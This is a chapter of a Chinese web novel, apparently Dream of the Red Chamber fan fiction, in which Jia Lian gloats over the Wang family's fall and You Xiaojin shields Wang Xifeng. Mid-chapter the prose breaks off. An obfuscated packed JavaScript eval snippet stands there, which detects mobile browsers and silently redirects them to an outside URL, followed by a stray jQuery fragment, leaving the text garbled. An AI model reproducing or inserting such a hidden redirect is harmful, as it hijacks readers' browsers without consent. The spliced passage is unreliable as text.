贾琏垂头丧气的回来,他感觉无比晦气,偌大的王府倒台不过是圣上一句话,他求爷爷告奶奶,花了几百两银子给那群阉人,可全都肉包子打狗,消失的毫无价值。
王子腾革去一切职爵,交三司会审。王府一应收没入官,家产尽数抄检。其妻闵氏暂押本府,听候发落。妾室苏氏一干人等,没入官籍。
没有提他们出阁的女儿,凤姐幸免于难。
但王家今天随意的倒塌,谁知道明天会不会到贾家。
贾琏心烦意乱的进门,回到院子,见平儿流着眼泪匆忙的转移些东西,他大踏步跟上去,喝止她:“我还没死呢,就开始偷搬东西了?你这蹄子有几条命?!”
平儿见是贾琏,蓦的一惊,连忙上来一施礼。
“见过二爷,我是把二奶奶用不上的衣物收起来……”
“谁是你二奶奶?!啊呸!”贾琏狠狠的唾一口,毫无半分富家公子气度,他狠一把将平儿手里东西打散,指着她便骂。
“她以为她算得什么?成日里凶神恶煞,阎府罗刹样的人物,如今阎王爷让收了,任她罗刹还是无常,都得爬着走!”贾琏把在宫里受的气狠狠撒出来,光把东西打散不够,还上去踩了几脚。
凤姐在屋内,听到外面声响,便知王家命数已定,再忍不住,眼泪如断线的珠子,滴滴答答落下来。
尤小金眉头微皱,听贾琏声音就嫌他烦。
一从二令三人木,这判词终于进入了第二阶段。
贾琏从对凤姐言听计从,到随意命令她。
会到第三被休弃的阶段吗?
尤小金冷哼一声,她倒希望凤姐早日被休,这样就可以光明正大的离开贾府,离开贾琏。这样自己装疯卖傻,便可以一起离开。
想着想着,贾琏就推门进来,声响闹的很大。
他进门见凤姐靠着尤小金,本想说她几句,又见她泪如雨下,脸上脂粉未点,少了平日的凌厉,多了几分楚楚动人,登时火气灭了几分。
贾琏唉了一声走过来,挨着凤姐尤小金就要坐下,尤小金却将脚搭上床,让他无处可坐。
“……”他脸一黑,瞪尤小金。
“二爷衣裳沾着灰呢。”尤小金笑呵呵道。
“哼。”贾琏斜她一眼,翻了个白眼坐在一边凳上。
凤姐在啜泣,没看见他。
发现自己完全被忽视,贾琏非常不爽,他敲敲桌子,重重的咳了两声。
凤姐泪眼婆娑的看他。
贾琏心又软了。
“咳……圣上罪责王老爷,但并没有连带你,你不用太担心,再怎么样,圣上总是会念及贾家先祖的。”他软声劝了一句。
“只一点……”
“何事?”凤姐带着哭腔道。
“王老爷让下大狱了,我走动关系,使了不少银子。现下外面采买,手上没有现银……”他偷觑一眼凤姐,越看越喜欢她现在软弱的样子。
他爽朗一笑,起立躬身道:“还望二奶奶支援一二。”
“王家虽倒,你仍是琏二奶奶。”
凤姐一咬牙,当即就想发作。
尤小金按住她的手,缓缓起身,她笑吟吟走近贾琏,弯腰一施礼:“回二爷,请问使了多少银子?”
贾琏斜眼偷觑她一眼,想着近来尤小金和凤姐走的近,又想到尤小金拿了自己体己,心里暗暗盘算一二,伸出手。
“一千两!”
凤姐见他狮子大开口,本就为王府伤心,现在曾经的枕边人又趁火打劫,更是悲痛,眼眶一热又一热,几乎要晕过去。
却倒在一人怀里。
“一千两?二爷说的好轻松。”尤小金摇摇头。
见她如此,贾琏火向头顶冒,噌噌噌的,指着她就喊道:“轻松?你以为宫里如何,那帮阉人又如何?一个个的比饿了十宿的老鼠还眼红,见到我恨不得把骨头渣子都啃尽!”
“你们倒好,一个个家里躺着府里卧着,遇到事了哭哭啼啼,守着金窝银窝拔不下一根毛!如此,便都打发你们出去了可好!”
“好啊好啊!”尤小金恨不能立刻答应。
但贸然离开,恐怕凤姐会被王家倒台牵连,她只能忍下这口气,轻叹道:“二爷不知道,方才听兴儿旺儿说王老爷出事,姐姐着急忙慌的把现银首饰都送去宫里,想减轻点罪过。”
“哈?!”贾琏一听,横眉倒竖,一拍桌子飞起来,冲出去就问那群小厮。
小厮们确实见尤小金将财物交由徐芥子处理,便如实告知,贾琏气的捶胸顿足,恨不能将徐芥子切成十八块,每一块扔到不同方向。
还好徐芥子机灵,见势不好,早早的跑出去躲着,没能让贾琏逮着。
贾琏在房里走来走去,一会指着平儿说两句,一会冲尤小金吼几句,最后见凤姐泪犹未干,他也说了两句重话。
顿时感觉爽从心底出。
他突然又快乐起来了。
过去被凤姐压制,凤姐说东他走不得西,想换个口味都要被编排,防的要生要死,后来这夜叉病倒了,管自己管少了,可银钱却被她赚不少,而她牙尖嘴利,气势强大,嘴皮子上自己绝不是对手。
不过说到底,她能嚣张还是因为王家。
王家倒了,她算什么。
“哼……”贾琏冷哼一声,将屋里的三个女人一一扫视。
以后有的是时间收拾你们。
以后我想去哪房,就去哪房,哪怕横着睡中间,又有何不可?!
想着想着,他笑了。
“我去回老爷太太,你们先好好照顾她。”贾琏大摇大摆的走了。
第一次,第一次在自己院子里,有翻身做主人的幸福感。
看来,王家倒台也并非全是坏事。
贾琏笑呵呵的往贾赦处跑。
……
凤姐无力的瘫倒在尤小金怀里,她感觉天塌了。曾经管家得罪人众多,一朝失了靠山,恐怕众人脚都会踩上来。
想到以后的屈辱生活,凤姐恨不得一条白绫挂梁上,随性脱了此身壳。
“姐姐,我会一直在。”尤小金低声道。
“有什么用呢……”凤姐又掉下泪,绝望的看着床幔。
“我比他们都有用,只要你信我。”尤小金坚定道。
凤姐闻言,缓缓抬头看她,尤小金黑眼圈很重,比起初来时瘦了不少,前些时日乱七八糟的事扰她心绪,不知怎的,短短几天,像变了个人。
好像真的可信。
“我信你。”凤姐轻声道。
“那现在,姐姐病重难起身,一应管家事务无法再任,加之王家有罪臣,要闭门思过,不见任何人。”尤小金一字一顿的交代。
“我会让人保护你,姐姐在家里,只管保重身子,其他交给我。”
“我一定带你出去!”尤小金狠声道。
“带……带我出去。”凤姐喃喃道,她不知道罪臣之女能被带到哪里,但她别无选择,只能信她。
“好,我保重身子…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116175|191160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
“你也要保重。”凤姐抓住尤小金的袖子,竭力交代道,“我等你带我出去。”
尤小金将她抱紧,转头又对平儿说:“平姐姐,劳你跟我走一趟,我们去见老太太。”
平儿红着眼点头。
她转身冲出去,对雪杉的两个丫头又说了几句。
“不论谁来,都说凤姐姐病重,见不得客,明白吗?”
丫头纷纷点头。
尤小金带着平儿一路小跑往老太太处去。
接下来的日子不好过,她很清楚,王家一倒,贾家自危,魑魅魍魉都会冒出来,谁将是众矢之的?
自然是凤姐。
她需团结一切能团结的力量去保护她。
贾母听闻王家出事,也是大骇,她是有见识的人,知道此事不简单,八成会牵涉贾家,又急又恼,竟晕在榻上起不来身。
众人七手八脚将她抬回床,却见她翻着眼皮,状况很差。
贾琏还没进贾赦院子,就带着邢夫人和他一起急匆匆的赶往贾母处,一同来的还有贾政王夫人。
个个脸上都带着悲痛神色。
“快请太医来,快请太医来。”贾政急道。
贾母歪在床上,大口大口喘息,鸳鸯倚在床头带泪为她顺气。
贾赦瞅了一眼鸳鸯。
尤小金没想到事情发展到这地步,只能随众人一起进房,见贾母急火攻心,府上医者把脉神色俱不好看。
着急忙慌的,王太医终于赶来。
他扒开眼皮,又捏捏脉搏,皱眉细听许久,才慢慢缓下脸色。
王太医轻呼一口气。
“如何?!”贾政与贾赦急道。
太医捻须沉吟,方缓缓道:“老太太年岁已高,此番急火攻心,痰迷心窍,所幸未至厥逆之症。眼下脉象虽乱,却未断绝生机。”
他顿了顿,又道:“待我施针开方,将养几月,待到明年开春,也大好了。”
“只一点,万不可再受惊悸悲恸,若再来一遭……”
“只怕大罗金仙也难救。”
贾政面色一缓又一沉。
“还有几句,二位随我来。”太医将贾赦贾政带到帘后。
“老太太年岁大了,纵是好生将养,以她如今的根基,也不过是捱日子。”
“多则三五年,少则……也就是这一两年的事了。”
此话犹如一记闷棍砸在贾赦贾政头上。
这座象征贾府最后体面的靠山,内里也早是风雨飘摇的朽木了。
贾赦眉头紧皱,对贾母的感情有几分,但更多的则是后事的筹办,以现下府上的银钱,恐怕只能简办。
贾政悲痛欲绝,但不好过于表现,一向严肃认真的面孔终于绷不住,彻底垮散。他颤巍巍的走出来,扶上王夫人的手。
王夫人哭的停不下来,一是为贾母的病,二也是为王家的命。
见妻子哭泣,贾政骤然警醒。
王家的今天,莫不是贾家的明天,再放任下面人自流,将府内掏空,恐怕不用外面碰,内里就散掉了。
“你们几个,好生照顾老祖宗,若出差池,唯你们是问!”
“其余人跟我出来!”贾政不留痕迹的抹了抹眼角,但他端正身体,大踏步出门。
尤小金不知他要干什么,又想了什么,紧跟在王夫人身边,搀着她摇摇欲坠的身体。
“圣上以清治国,我辈当以清治家。”
“从今日起,查检全府!”